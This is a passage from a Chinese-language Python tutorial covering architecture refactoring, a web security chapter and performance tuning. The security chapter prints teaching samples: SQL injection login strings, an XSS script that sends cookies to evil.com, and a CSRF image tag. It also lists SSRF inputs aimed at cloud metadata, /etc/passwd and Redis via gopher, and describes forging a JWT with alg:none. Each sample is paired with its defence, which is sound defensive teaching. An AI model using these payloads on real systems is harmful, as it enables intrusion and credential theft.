        self._handlers: dict[str, list] = {}

    def subscribe(self, event: OrderEvent, handler):
        self._handlers.setdefault(event.value, []).append(handler)

    def publish(self, event: OrderEvent, data: dict):
        for handler in self._handlers.get(event.value, []):
            try:
                handler(data)
            except Exception as e:
                # 非核心链路失败不能影响主流程
                logger.error(f"事件处理失败: {event.value}, {e}")

# 注册事件处理器(非核心链路)
event_bus = EventBus()

def send_sms_on_order_created(data):
    """发短信(失败不影响下单)"""
    try:
        sms.send(data["phone"], f"订单 {data['order_id']} 已创建")
    except Exception as e:
        logger.error(f"短信发送失败: {e}")

def add_points_on_order_created(data):
    """发积分(失败不影响下单)"""
    try:
        db.add_points(data["user_id"], data["points"])
    except Exception as e:
        logger.error(f"积分发放失败: {e}")

event_bus.subscribe(OrderEvent.CREATED, send_sms_on_order_created)
event_bus.subscribe(OrderEvent.CREATED, add_points_on_order_created)


# ---- 4. 重构后的 OrderService ----
class OrderService:
    """重构后的订单服务:职责清晰,可测试,可扩展"""

    def __init__(self, validation_chain: ValidationRule, event_bus: EventBus):
        self.validation_chain = validation_chain
        self.event_bus = event_bus

    def create_order(self, user_id: int, items: list[OrderItem],
                     promotion: PromotionStrategy = None) -> dict:
        # 1. 准备上下文
        user = db.query_user(user_id)
        products = {item.product_id: db.query_product(item.product_id) for item in items}
        promotion = promotion or NoPromotion()

        context = {"user": user, "items": items, "products": products}

        # 2. 责任链校验(每个规则只关心自己的事)
        self.validation_chain.validate(context)

        # 3. 计算价格(策略模式,新增促销类型不改这段代码)
        total = promotion.apply(items, user)
        context["total"] = total

        # 4. 核心链路(同步执行)
        order = db.create_order(user_id, items, total)

        # 5. 非核心链路(事件驱动,异步解耦)
        self.event_bus.publish(OrderEvent.CREATED, {
            "order_id": order["id"],
            "user_id": user_id,
            "phone": user["phone"],
            "points": int(total),
        })

        return order

50.5 架构演进的代价——DDD 与微服务的"坑"

# ===== 架构是妥协的艺术 =====
# 很多文章只吹 DDD 和微服务的好处,却不告诉你代价。
# 下面讲清楚"什么时候不该用"以及"用了会踩什么坑"。

# ---- 坑 1:分布式事务 ----
# 单体应用中,一个数据库事务就能搞定:
# BEGIN → 扣库存 → 扣款 → 创建订单 → COMMIT
# 微服务中,这三步在三个不同的服务和数据库里,怎么办?

# 方案 A:Saga 模式(编排式)
class OrderSaga:
    """Saga 事务:每一步有对应的补偿操作"""
    def __init__(self):
        self.steps = []  # [(action, compensation)]

    def execute(self):
        completed = []
        try:
            for action, compensation in self.steps:
                action()
                completed.append(compensation)
        except Exception as e:
            # 失败时逆序执行补偿操作
            for compensation in reversed(completed):
                try:
                    compensation()
                except Exception as comp_err:
                    logger.error(f"补偿操作失败: {comp_err}")
            raise e

# 使用
saga = OrderSaga()
saga.steps = [
    (lambda: inventory_service.deduct(product_id, qty),
     lambda: inventory_service.restore(product_id, qty)),  # 补偿:恢复库存
    (lambda: payment_service.charge(user_id, amount),
     lambda: payment_service.refund(user_id, amount)),     # 补偿:退款
    (lambda: order_service.create(user_id, items),
     lambda: order_service.cancel(order_id)),              # 补偿:取消订单
]
saga.execute()

# 方案 B:本地消息表(更可靠)
class LocalMessageTable:
    """把"发消息"和"业务操作"放在同一个数据库事务中"""
    def create_order_with_message(self, user_id, items, total):
        with db.transaction():
            # 1. 创建订单
            order = db.create_order(user_id, items, total)
            # 2. 在同一个事务中写入消息表
            db.insert_message({
                "topic": "order.created",
                "payload": json.dumps({"order_id": order["id"]}),
                "status": "pending"
            })
            # 事务提交后,由后台任务扫描消息表发送到 MQ

# ---- 坑 2:循环依赖 ----
# 服务 A 调用服务 B,服务 B 又调用服务 A → 死锁、启动失败
# 解决方案:
# 1. 引入服务 C(公共模块)打破循环
# 2. 用事件驱动代替直接调用(A 发事件 → B 监听)
# 3. 重新划分服务边界(可能说明你的服务拆分有问题)

# ---- 坑 3:过度设计 ----
# 一个 3 人团队、日活 1000 的应用,不需要:
# - 10 个微服务
# - Kubernetes 集群
# - 事件溯源 + CQRS
# 这些都是为 100 人团队、百万日活准备的。
# 先写好单体,等到真正需要时再拆分。

# ===== 什么时候该用 DDD?=====
# ✅ 适合:业务逻辑复杂(电商、金融、ERP)、团队 > 5 人
# ❌ 不适合:CRUD 为主的应用、小团队、原型阶段

# ===== 什么时候该用微服务?=====
# ✅ 适合:团队 > 20 人、需要独立部署扩缩容、不同模块技术栈不同
# ❌ 不适合:团队 < 5 人、网络延迟敏感、运维能力不足
本章要点
  • SOLID 原则是写出好代码的基础,Python 中同样适用
  • 设计模式不是越多越好,在 Python 中很多模式可以用更简洁的方式实现
  • 实战重构:策略+工厂重构促销、责任链重构校验、观察者解耦非核心链路
  • 依赖注入是解耦的关键,Python 中可以用函数、类或容器实现
  • 分层架构让代码职责清晰,便于测试和维护
  • 领域驱动设计(DDD)适合复杂业务系统
  • 架构是妥协的艺术:分布式事务(Saga/本地消息表)、循环依赖、过度设计都是坑
  • 先写好单体,等到真正需要时再拆微服务
  • Python 的动态特性让很多设计模式变得更简洁(装饰器、描述符、元类)

第五十一章:Web 安全攻防基础

本章导览

写出能运行的代码很容易,写出安全的代码很难。本章讲解 OWASP Top 10 中最常见的 Web 安全漏洞,用 Python 代码演示攻击原理和防御方法。不懂安全的程序员,迟早会写出被攻破的系统。

51.1 SQL 注入——最古老也最致命的漏洞

import sqlite3

# ===== 攻击演示 =====
conn = sqlite3.connect(":memory:")
cursor = conn.cursor()
cursor.execute("CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, password TEXT)")
cursor.execute("INSERT INTO users VALUES (1, 'admin', 'secret123')")
cursor.execute("INSERT INTO users VALUES (2, '张三', 'mypassword')")
conn.commit()

# ❌ 危险:直接拼接用户输入
def login_unsafe(username, password):
    query = f"SELECT * FROM users WHERE name='{username}' AND password='{password}'"
    print(f"执行的 SQL: {query}")
    cursor.execute(query)
    return cursor.fetchone()

# 正常登录
print(login_unsafe("admin", "secret123"))  # (1, 'admin', 'secret123') ✓

# SQL 注入攻击!
print(login_unsafe("admin' --", "anything"))
# 执行的 SQL: SELECT * FROM users WHERE name='admin' --' AND password='anything'
# -- 后面被注释掉了,不需要密码就能登录!

print(login_unsafe("' OR '1'='1", "' OR '1'='1"))
# 执行的 SQL: SELECT * FROM users WHERE name='' OR '1'='1' AND password='' OR '1'='1'
# 返回所有用户!

# ===== 防御:参数化查询 =====
def login_safe(username, password):
    query = "SELECT * FROM users WHERE name=? AND password=?"
    cursor.execute(query, (username, password))  # 参数化:用户输入永远是数据,不是代码
    return cursor.fetchone()

# 注入攻击失败
print(login_safe("admin' --", "anything"))  # None ✓

# ===== ORM 天然防注入 =====
# SQLAlchemy 的写法(自动参数化):
# user = session.query(User).filter(User.name == username, User.password == password).first()
# 即使用 f-string 拼接 ORM 查询也不会注入:
# session.query(User).filter(User.name == f"{username}' --")  # 安全的

51.2 XSS(跨站脚本攻击)

from markupsafe import escape  # pip install markupsafe

# ===== XSS 攻击原理 =====
# 用户在评论区提交:
user_input = '<script>document.location="https://evil.com/steal?cookie="+document.cookie</script>'

# ❌ 危险:直接把用户输入嵌入 HTML
html_unsafe = f"<div class='comment'>{user_input}</div>"
# 浏览器会执行 <script> 标签,用户的 cookie 被偷走!

# ===== 防御方法 =====

# 方法 1:HTML 转义(最基础)
html_safe = f"<div class='comment'>{escape(user_input)}</div>"
# <script> 被转义为 &lt;script&gt;,浏览器只显示文本

# 方法 2:使用模板引擎的自动转义
# Jinja2 默认自动转义:{{ user_input }} 是安全的
# 要输出原始 HTML 用 {{ user_input | safe }}(仅限信任内容)

# 方法 3:Content-Security-Policy 响应头
# Content-Security-Policy: default-src 'self'; script-src 'self'
# 禁止执行内联脚本

# 方法 4:输入验证 + 输出编码
import re
def sanitize_html(text):
    """移除所有 HTML 标签"""
    return re.sub(r'<[^>]+>', '', text)

51.3 CSRF(跨站请求伪造)

# ===== CSRF 攻击原理 =====
# 用户已登录银行网站(session cookie 自动携带)
# 攻击者诱导用户访问一个恶意页面,页面中有:
# <img src="https://bank.com/transfer?to=attacker&amount=10000">
# 浏览器自动带上 cookie,银行以为是用户本人操作

# ===== 防御:CSRF Token =====
import secrets
import hmac
import hashlib

class CSRFProtection:
    def __init__(self, secret_key: str):
        self.secret_key = secret_key

    def generate_token(self, session_id: str) -> str:
        """生成 CSRF Token"""
        message = f"{session_id}:{secrets.token_hex(16)}"
        signature = hmac.new(
            self.secret_key.encode(), message.encode(), hashlib.sha256
        ).hexdigest()
        return f"{message}:{signature}"

    def verify_token(self, session_id: str, token: str) -> bool:
        """验证 CSRF Token(签名 + session 绑定)"""
        try:
            message, signature = token.rsplit(":", 1)
            # 先验证 session 绑定:token 必须属于当前会话
            if not message.startswith(f"{session_id}:"):
                return False
            expected = hmac.new(
                self.secret_key.encode(), message.encode(), hashlib.sha256
            ).hexdigest()
            return hmac.compare_digest(signature, expected)
        except (ValueError, TypeError):
            return False

# FastAPI 中使用 CSRF:
# from fastapi_csrf_protect import CsrfProtect
# @app.post("/transfer")
# async def transfer(csrf_protect: CsrfProtect = Depends()):
#     await csrf_protect.validate_csrf(request)

# 最简防御:SameSite Cookie
# response.set_cookie("session", value, samesite="lax")
# 浏览器不会在跨站请求中携带 SameSite cookie

51.4 密码安全——永远不要明文存储

# pip install bcrypt

import bcrypt
import hashlib
import secrets

# ❌ 错误:明文存储密码
passwords_db = {"admin": "123456"}  # 数据库泄露 = 所有账号完蛋

# ❌ 错误:简单哈希
hashed = hashlib.sha256("123456".encode()).hexdigest()
# 彩虹表可以秒破常见密码

# ❌ 错误:加固定 salt
salt = "my_secret_salt"
hashed = hashlib.sha256(f"{salt}123456".encode()).hexdigest()
# salt 泄露后同样不安全

# ✅ 正确:bcrypt 自动加随机 salt + 慢哈希
def hash_password(password: str) -> str:
    """哈希密码(自动加 salt)"""
    salt = bcrypt.gensalt(rounds=12)  # rounds 越大越慢,12 是推荐值
    return bcrypt.hashpw(password.encode(), salt).decode()

def verify_password(password: str, hashed: str) -> bool:
    """验证密码"""
    return bcrypt.checkpw(password.encode(), hashed.encode())

# 使用
stored_hash = hash_password("123456")
print(verify_password("123456", stored_hash))  # True
print(verify_password("wrong", stored_hash))    # False

# ===== 密码策略 =====
import re

def validate_password(password: str) -> tuple[bool, str]:
    """验证密码强度"""
    if len(password) < 8:
        return False, "密码至少 8 个字符"
    if not re.search(r'[A-Z]', password):
        return False, "需要包含大写字母"
    if not re.search(r'[a-z]', password):
        return False, "需要包含小写字母"
    if not re.search(r'\d', password):
        return False, "需要包含数字"
    return True, "密码强度合格"

51.5 敏感信息管理

import os
from pathlib import Path

# ❌ 错误:硬编码密钥
API_KEY = "sk-1234567890abcdef"  # 提交到 Git = 泄露

# ❌ 错误:写在代码里再删掉
# Git 历史里还有!用 git log -p 可以看到

# ✅ 正确:环境变量
api_key = os.getenv("API_KEY")
if not api_key:
    raise ValueError("请设置 API_KEY 环境变量")

# ✅ 正确:.env 文件 + python-dotenv
# pip install python-dotenv
from dotenv import load_dotenv
load_dotenv()  # 从 .env 文件加载
api_key = os.getenv("API_KEY")

# .env 文件示例:
# API_KEY=sk-1234567890abcdef
# DB_PASSWORD=super_secret
# REDIS_URL=redis://localhost:6379

# .gitignore 中必须包含:
# .env
# *.key
# *.pem

# ✅ 正确:使用密钥管理服务
# AWS Secrets Manager / HashiCorp Vault / Azure Key Vault
# 生产环境永远不要把密钥写在文件里

# ===== 检测代码中的密钥泄露 =====
# pip install detect-secrets
# detect-secrets scan > .secrets.baseline
# detect-secrets audit .secrets.baseline

51.6 依赖安全

# ===== 常见依赖安全问题 =====

# 1. 已知漏洞的依赖
# pip install safety
# safety check  # 检查已安装的包是否有已知漏洞

# 2. 恶意包(typosquatting)
# pip install requests  ✓
# pip install requets   ✗ (恶意包,名字差一个字母)
# pip install requestss  ✗

# 3. 依赖锁定
# ❌ requirements.txt 不锁定版本
# requests  # 可能安装任何版本

# ✅ 锁定精确版本
# requests==2.31.0
# 或用 uv.lock / poetry.lock 自动管理

# ===== 安全最佳实践 =====
# 1. 定期更新依赖:uv lock --upgrade
# 2. 使用 Dependabot / Renovate 自动提 PR 更新依赖
# 3. 只从 PyPI 安装,不用第三方源
# 4. 审查新依赖的代码量和维护状态
# 5. 用 pip-audit 检查依赖漏洞

# pip install pip-audit
# pip-audit  # 扫描当前环境的已知漏洞

51.7 SSRF(服务端请求伪造)——让服务器替你访问内网

⚠️ 为什么原版没讲?

SSRF 是 OWASP Top 10 中最致命的漏洞之一,尤其在云环境中。攻击者通过让服务器发起请求,可以扫描内网、访问云元数据(AWS http://169.254.169.254)、甚至攻击内网的 Redis/Memcached。

# ===== SSRF 攻击原理 =====
# 假设你的应用有一个"URL 预览"功能:用户输入 URL,服务器去抓取页面内容

import httpx

# ❌ 危险:直接用用户提供的 URL 发起请求
async def fetch_url_unsafe(url: str) -> str:
    """URL 预览功能——有 SSRF 漏洞"""
    async with httpx.AsyncClient() as client:
        response = await client.get(url)  # 攻击者可以传入内网地址!
        return response.text

# 攻击者输入:
# http://127.0.0.1:6379/           → 扫描内网 Redis(未授权访问)
# http://169.254.169.254/latest/   → 窃取 AWS 云元数据(包含密钥!)
# http://192.168.1.100:3306/       → 扫描内网 MySQL
# file:///etc/passwd               → 读取服务器本地文件
# gopher://127.0.0.1:6379/_*1%0d%0a...  → 向 Redis 发送任意命令

# ===== 防御方案 =====
from urllib.parse import urlparse
import ipaddress
import socket

# 方案 1:URL 白名单 + 协议限制
ALLOWED_SCHEMES = {"http", "https"}
BLOCKED_HOSTS = {"localhost", "127.0.0.1", "0.0.0.0", "169.254.169.254",
                 "metadata.google.internal"}

def is_safe_url(url: str) -> bool:
    """检查 URL 是否安全(防 SSRF)"""
    parsed = urlparse(url)

    # 1. 只允许 http/https
    if parsed.scheme not in ALLOWED_SCHEMES:
        return False

    # 2. 禁止已知危险主机
    hostname = parsed.hostname or ""
    if hostname in BLOCKED_HOSTS:
        return False

    # 3. 解析 IP,禁止内网地址
    try:
        ip = ipaddress.ip_address(socket.gethostbyname(hostname))
        if ip.is_private or ip.is_loopback or ip.is_link_local:
            return False
    except (socket.gaierror, ValueError):
        return False

    # 4. 禁止包含 @ 的 URL(防止 http://evil.com@target.com 绕过)
    if "@" in url:
        return False

    return True

# 方案 2:使用专用的 HTTP 客户端库(带 SSRF 防护)
# pip install ssrf-protect
# from ssrf_protect import SSRFProtect

# 方案 3:通过代理访问外网(服务器本身无法直接访问内网)
async def fetch_url_safe(url: str) -> str:
    if not is_safe_url(url):
        raise ValueError("不允许访问该 URL")

    async with httpx.AsyncClient(
        timeout=10.0,
        follow_redirects=False,  # 禁止跟随重定向(防止重定向绕过)
        proxies="http://outbound-proxy:8080",  # 通过代理访问
    ) as client:
        response = await client.get(url)
        return response.text

51.8 越权访问(BOLA/IDOR)——修改 URL 就能看别人的数据

# ===== BOLA(Broken Object Level Authorization)=====
# 这是 API 最常见的漏洞,没有之一
# 攻击者通过修改 URL 中的 ID,访问不属于自己的资源

# ❌ 危险:没有校验数据归属
# GET /api/orders/12345
@app.get("/api/orders/{order_id}")
async def get_order(order_id: int, user=Depends(get_current_user)):
    order = await db.get_order(order_id)  # 任何人知道 order_id 就能查!
    return order
# 攻击者把 12345 改成 12346,就能看到别人的订单

# ✅ 正确:在查询时加入数据权限校验
@app.get("/api/orders/{order_id}")
async def get_order(order_id: int, user=Depends(get_current_user)):
    order = await db.get_order(order_id, user_id=user.id)  # 加 user_id 过滤
    if not order:
        raise HTTPException(status_code=404, detail="订单不存在")
    return order

# SQL 层面:
# SELECT * FROM orders WHERE id = ? AND user_id = ?  ← 加上 user_id 条件


# ===== 通用的数据权限中间件 =====
from functools import wraps

class DataPermission:
    """数据权限校验器"""

    def __init__(self):
        self._rules: dict[str, callable] = {}

    def register(self, resource_type: str, checker: callable):
        """注册资源类型的权限检查器"""
        self._rules[resource_type] = checker

    async def check(self, resource_type: str, resource_id: int, user_id: int) -> bool:
        """检查用户是否有权访问该资源"""
        checker = self._rules.get(resource_type)
        if not checker:
            raise ValueError(f"未注册的资源类型: {resource_type}")
        return await checker(resource_id, user_id)

data_permission = DataPermission()

# 注册检查器
async def check_order_permission(order_id: int, user_id: int) -> bool:
    order = await db.get_order(order_id)
    return order and order.user_id == user_id

async def check_profile_permission(profile_id: int, user_id: int) -> bool:
    return profile_id == user_id  # 只能看自己的资料

data_permission.register("order", check_order_permission)
data_permission.register("profile", check_profile_permission)

# 使用装饰器统一校验
def require_permission(resource_type: str, id_param: str = "id"):
    def decorator(func):
        @wraps(func)
        async def wrapper(*args, **kwargs):
            # 从路径参数中提取资源 ID
            resource_id = kwargs.get(id_param)
            # 从依赖注入中获取当前用户
            user = kwargs.get("user") or get_current_user_from_context()
            if not await data_permission.check(resource_type, resource_id, user.id):
                raise HTTPException(status_code=403, detail="无权访问该资源")
            return await func(*args, **kwargs)
        return wrapper
    return decorator

# 使用
@app.get("/api/orders/{order_id}")
@require_permission("order", id_param="order_id")
async def get_order(order_id: int, user=Depends(get_current_user)):
    return await db.get_order(order_id)


# ===== 常见越权类型 =====
# 1. 水平越权:用户 A 访问用户 B 的数据(同级别)
# 2. 垂直越权:普通用户访问管理员功能(越级别)
#    例:普通用户调用 DELETE /api/users/123

# 防御垂直越权:基于角色的访问控制(RBAC)
from enum import Enum

class Role(Enum):
    USER = "user"
    ADMIN = "admin"

def require_role(*roles: Role):
    def decorator(func):
        @wraps(func)
        async def wrapper(*args, **kwargs):
            user = get_current_user_from_context()
            if user.role not in roles:
                raise HTTPException(status_code=403, detail="权限不足")
            return await func(*args, **kwargs)
        return wrapper
    return decorator

@app.delete("/api/users/{user_id}")
@require_role(Role.ADMIN)  # 只有管理员能删除用户
async def delete_user(user_id: int):
    ...

51.9 JWT 的坑——你以为安全,其实到处是漏洞

# ===== JWT 常见攻击 =====

# 攻击 1:alg: none 绕过
# JWT 头部有一个 alg 字段,指定签名算法
# 如果服务器不验证 alg,攻击者可以把 alg 改成 "none",跳过签名验证

import jwt  # pip install PyJWT
import json
import base64

# 正常 JWT:header.payload.signature
# 攻击者构造:{"alg": "none"}.{"user_id": 1, "role": "admin"}.
# 没有签名,但如果不验证 alg,服务器会直接信任!

# ❌ 危险:不验证算法
def decode_jwt_unsafe(token: str) -> dict:
    # 不指定 algorithms,接受任何算法!
    return jwt.decode(token, options={"verify_signature": False})

# ✅ 正确:严格指定允许的算法
def decode_jwt_safe(token: str, secret: str) -> dict:
    return jwt.decode(
        token,
        secret,
        algorithms=["HS256"],  # 只允许 HS256,拒绝 none/RS256 等
        options={"require": ["exp", "sub"]}  # 强制要求这些字段
    )


# 攻击 2:密钥爆破
# 如果密钥太短(如 "secret"、"123456"),攻击者可以暴力破解
# 破解后可以伪造任意 JWT

# 防御:使用足够长的随机密钥(至少 256 位)
import secrets
jwt_secret = secrets.token_hex(32)  # 64 字符的十六进制密钥


# 攻击 3:JWT 无法主动失效
# JWT 是无状态的,服务器不存储 Token。这意味着:
# - 用户改了密码,旧 Token 仍然有效
# - 用户被封禁,旧 Token 仍然有效
# - Token 被盗,无法撤销

# 解决方案:Redis 黑名单
import redis

redis_client = redis.Redis()

def create_jwt(user_id: int, secret: str) -> str:
    payload = {
        "sub": user_id,
        "exp": datetime.utcnow() + timedelta(hours=1),
        "jti": secrets.token_hex(16),  # JWT ID,每个 Token 唯一
    }
    return jwt.encode(payload, secret, algorithm="HS256")

def revoke_jwt(token: str, secret: str):
    """让单个 JWT 失效(加入黑名单)"""
    payload = jwt.decode(token, secret, algorithms=["HS256"])
    jti = payload.get("jti")
    exp = payload.get("exp")
    ttl = exp - int(datetime.utcnow().timestamp())
    if ttl > 0:
        redis_client.setex(f"jwt:blacklist:{jti}", ttl, "revoked")

def is_jwt_revoked(token: str, secret: str) -> bool:
    """检查 JWT 是否已被撤销"""
    try:
        payload = jwt.decode(token, secret, algorithms=["HS256"])
        jti = payload.get("jti")
        return redis_client.exists(f"jwt:blacklist:{jti}")
    except jwt.InvalidTokenError:
        return True  # 无效 Token 视为已撤销

def decode_jwt_with_blacklist(token: str, secret: str) -> dict:
    """解码 JWT(带黑名单检查)"""
    payload = jwt.decode(token, secret, algorithms=["HS256"])
    if is_jwt_revoked(token, secret):
        raise jwt.InvalidTokenError("Token 已被撤销")
    return payload


# ===== JWT 安全最佳实践 =====
# 1. 使用 RS256(非对称加密)而非 HS256(对称加密)——即使密钥泄露,只有私钥能签发
# 2. 设置短过期时间(15 分钟 - 1 小时),用 Refresh Token 续期
# 3. 在 payload 中只放必要信息(不要放密码、手机号等敏感数据)
# 4. 始终验证 exp、iss、aud 字段
# 5. 敏感操作(改密码、改手机号)要求重新输入密码,不依赖 JWT
安全检查清单(补充版)
  • SQL 注入:永远用参数化查询,永远不要拼接 SQL
  • XSS:永远转义用户输入,使用模板引擎的自动转义
  • CSRF:所有状态变更接口都要验证 CSRF Token
  • SSRF:限制 URL 协议和目标地址,禁止访问内网和云元数据
  • 越权访问:每个数据查询都必须校验归属,RBAC 控制管理权限
  • JWT:严格验证算法、使用强密钥、短过期+黑名单机制
  • 密码:用 bcrypt/argon2 哈希,禁止明文存储
  • 密钥:用环境变量或密钥管理服务,禁止硬编码
  • HTTPS:生产环境必须用 HTTPS,禁止 HTTP
  • 依赖:定期扫描漏洞,锁定版本,最小化依赖
  • 日志:禁止记录密码、token、身份证号等敏感信息

第五十二章:性能调优实战——从 Profile 到优化

本章导览

性能调优不是"凭感觉猜",而是"用数据说话"。本章通过 3 个真实案例,演示完整的调优流程:Profile 定位瓶颈 → 分析原因 → 针对性优化 → 验证效果。这是高级工程师的核心技能。

52.1 调优的基本原则

1
先测量,后优化——没有 profile 数据就不要动手。你以为的瓶颈往往不是真正的瓶颈。
2
优化最大的瓶颈——80% 的时间花在 20% 的代码上。找到那 20%。
3
每次只改一处——改完测量效果,确认有效再继续。同时改多处不知道哪个有效。
4
优化后回归测试——确保功能没有被破坏。快但错误的代码没有意义。

52.2 案例一:API 响应慢——从 3 秒到 50 毫秒

"""
场景:一个用户列表 API,返回 1000 个用户及其订单金额总和
初始响应时间:3 秒。目标:100 毫秒以内。
"""

import cProfile
import pstats
from io import StringIO
import time

# ===== 初始版本(慢)=====
def get_users_slow():
    """N+1 查询问题:查 1 次用户列表 + 每个用户查 1 次订单"""
    users = db.query("SELECT * FROM users LIMIT 1000")  # 1 次查询
    result = []
    for user in users:
        # 每个用户再查一次订单!1000 次查询!
        total = db.query(
            "SELECT SUM(amount) FROM orders WHERE user_id = ?", (user['id'],)
        )[0]
        result.append({**user, 'total_amount': total})
    return result

# ===== Profile 定位瓶颈 =====
def profile_function(func):
    """性能分析装饰器"""
    def wrapper(*args, **kwargs):
        profiler = cProfile.Profile()
        profiler.enable()
        result = func(*args, **kwargs)
        profiler.disable()

        stream = StringIO()
        stats = pstats.Stats(profiler, stream=stream)
        stats.sort_stats('cumulative')
        stats.print_stats(20)  # 打印前 20 个最耗时的函数
        print(stream.getvalue())
        return result
    return wrapper

@profile_function
def get_users_slow():
    ...  # 如上

# 运行后发现:99% 的时间花在 db.query 上(调用了 1001 次)

# ===== 优化方案:消除 N+1 查询 =====
def get_users_fast():
    """一次查询搞定:JOIN + GROUP BY"""
    return db.query("""
        SELECT u.*, COALESCE(SUM(o.amount), 0) as total_amount
        FROM users u
        LEFT JOIN orders o ON u.id = o.user_id
        GROUP BY u.id
        LIMIT 1000
    """)  # 只有 1 次查询!

# 效果:3000ms → 45ms(快 66 倍)

52.3 案例二:数据处理慢——列表推导 vs 循环 vs NumPy

"""
场景:处理 100 万条数据,计算每个元素的平方根之和
"""

import time
import math
import cProfile

data = list(range(1_000_000))

# ===== 方法 1:普通循环 =====
def method_loop():
    result = 0
    for x in data:
        result += math.sqrt(x)
    return result

# ===== 方法 2:列表推导 + sum =====
def method_comprehension():
    return sum(math.sqrt(x) for x in data)

# ===== 方法 3:map + sum =====
def method_map():
    return sum(map(math.sqrt, data))

# ===== 方法 4:NumPy(C 实现,释放 GIL)=====
import numpy as np
def method_numpy():
    arr = np.array(data, dtype=np.float64)
    return np.sum(np.sqrt(arr))

# ===== 方法 5:NumPy 直接从 range 创建 =====
def method_numpy_direct():
    return np.sum(np.sqrt(np.arange(1_000_000, dtype=np.float64)))

# ===== 性能对比 =====
for name, func in [
    ("普通循环", method_loop),
    ("列表推导", method_comprehension),
    ("map+sum", method_map),
    ("NumPy", method_numpy),
    ("NumPy直接", method_numpy_direct),
]:
    start = time.perf_counter()
    result = func()
    elapsed = time.perf_counter() - start
    print(f"{name:10s}: {elapsed:.4f}s  结果={result:.2f}")

# 典型结果:
# 普通循环   : 0.1200s
# 列表推导   : 0.0900s  (快 1.3x)
# map+sum    : 0.0800s  (快 1.5x)
# NumPy      : 0.0050s  (快 24x)
# NumPy直接  : 0.0030s  (快 40x)

# 教训:
# 1. 微优化(推导 vs 循环)提升有限
# 2. 选对数据结构/库才是关键(NumPy 快 40 倍)
# 3. NumPy 在 C 层运算,绕过 GIL,还能用多线程加速

52.4 案例三:内存爆炸——生成器 vs 列表

"""
场景:处理一个 2GB 的日志文件,统计 ERROR 行数
初始版本:内存占用 4GB,直接 OOM
"""

import sys
import tracemalloc

# ❌ 错误:一次性读入内存
def count_errors_bad(filepath):
    with open(filepath) as f:
        lines = f.readlines()  # 2GB 文件 → 4GB 内存(Python 字符串开销)
    return sum(1 for line in lines if "ERROR" in line)

# ✅ 正确:逐行读取(生成器)
def count_errors_good(filepath):
    count = 0
    with open(filepath) as f:
        for line in f:  # 文件对象本身就是迭代器,逐行读取
            if "ERROR" in line:
                count += 1
    return count

# ✅ 更 Pythonic 的写法
def count_errors_pythonic(filepath):
    with open(filepath) as f:
        return sum(1 for line in f if "ERROR" in line)

# ===== 内存对比 =====
# 错误版本:内存峰值 ~4GB
# 正确版本:内存峰值 ~8KB(只存一行)

# ===== 内存分析工具 =====
tracemalloc.start()

# 你的代码
data = [x ** 2 for x in range(1_000_000)]

snapshot = tracemalloc.take_snapshot()
top = snapshot.statistics('lineno')
for stat in top[:5]:
    print(stat)
# 输出示例:
# script.py:15: 8.5 MiB
# 这告诉你哪一行代码分配了最多内存

# ===== 常见内存优化技巧 =====
# 1. 用生成器代替列表(处理大数据)
# 2. 用 __slots__ 减少对象内存
# 3. 用 array.array 代替 list(同类型数值)
# 4. 用 sys.intern() 驻留重复字符串
# 5. 及时 del 大对象
# 6. 用 gc.collect() 手动触发垃圾回收

52.5 调优工具箱速查

工具用途使用方式
timeit微基准测试timeit.timeit('code', number=10000)
cProfile函数级性能分析cProfile.run('func()')
line_profiler逐行分析@profile 装饰器 + kernprof -l
memory_profiler内存逐行分析@profile 装饰器 + python -m memory_profiler
tracemalloc内存分配追踪标准库,定位哪一行分配了最多内存
py-spy采样式分析(无需改代码)py-spy top --pid 12345
scaleneCPU + 内存 + GPU 一体分析scalene script.py
snakeviz可视化 cProfile 结果snakeviz profile.prof

52.6 高级内存调试——objgraph 与 gc 模块深入

# ===== 用 objgraph 找出内存泄漏的对象类型 =====
# pip install objgraph

import objgraph

# 查看当前内存中最多的对象类型
objgraph.show_most_common_types(limit=10)
# 输出示例:
# dict        15234
# list        12456
# tuple       8901
# str         234567
# function    1234

# 对比两次调用的差异(找出泄漏类型)
objgraph.show_growth(limit=10)
# 执行一些操作...
objgraph.show_growth(limit=10)
# 输出示例:
# list    12456    +500   ← 新增了 500 个 list,可能是泄漏

# ===== 用 gc 模块调试循环引用 =====
import gc

# 启用 GC 调试(记录分配了哪些对象)
gc.set_debug(gc.DEBUG_LEAK)

# 手动触发 GC 并查看无法回收的对象
gc.collect()
garbage = gc.garbage  # GC 无法回收的对象列表
print(f"无法回收的对象: {len(garbage)}")
for obj in garbage[:5]:
    print(f"  {type(obj)}: {repr(obj)[:100]}")

# 查看某个对象的所有引用者
import gc

def find_referrers(obj, max_depth=3):
    """递归查找谁引用了这个对象"""
    seen = set()

    def _find(obj, depth):
        if depth > max_depth or id(obj) in seen:
            return
        seen.add(id(obj))
        referrers = gc.get_referrers(obj)
        for ref in referrers:
            if ref is not gc and ref is not referrers:
                print(f"{'  ' * depth}{type(ref).__name__}: {repr(ref)[:80]}")
                _find(ref, depth + 1)

    _find(obj, 0)

# 使用示例:找出为什么某个大对象没有被回收
# big_list = [i for i in range(1000000)]
# del big_list
# gc.collect()
# 如果 big_list 没有被回收,用 find_referrers 查找原因

52.7 生产环境性能监控——持续 Profiling

# ===== py-spy:不改代码就能 Profile 运行中的进程 =====
# 安装:pip install py-spy

# 查看运行中 Python 进程的 CPU 火焰图
# py-spy top --pid 12345          # 实时 top 视图
# py-spy record -o profile.svg --pid 12345  # 记录火焰图
# py-spy record -o profile.svg -- python script.py  # 从启动开始记录

# 火焰图怎么看?
# 横轴:采样占比(越宽 = 花的时间越多)
# 纵轴:调用栈深度(越高 = 调用链越深)
# 找"宽平顶"——那就是你的瓶颈函数


# ===== scalene:CPU + 内存 + GPU 一体化分析 =====
# 安装:pip install scalene
# 使用:scalene script.py

# scalene 的优势:
# 1. 区分 Python 时间 vs C 时间 vs IO 时间
# 2. 内存分析精确到行
# 3. 自动检测优化建议


# ===== 在生产环境持续 Profiling =====
# pip install pyroscope-io  # 持续性能分析平台

# import pyroscope
# pyroscope.configure(
#     application_name="my-app",
#     server_address="http://pyroscope-server:4040",
# )
# 之后所有代码的 CPU 和内存使用都会自动上报


# ===== asyncio 性能调优 =====
import asyncio
import aiohttp

# ❌ 常见错误:在异步函数中调用同步阻塞代码
async def bad_example():
    import time
    time.sleep(5)  # 阻塞整个事件循环!所有协程都被卡住

# ✅ 正确:用 asyncio.to_thread 包装阻塞代码
async def good_example():
    await asyncio.to_thread(time.sleep, 5)  # 不阻塞事件循环

# ❌ 常见错误:没有限制并发数
